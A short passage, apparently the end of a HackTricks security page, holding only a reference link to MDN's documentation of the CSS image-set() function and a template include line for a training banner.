- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}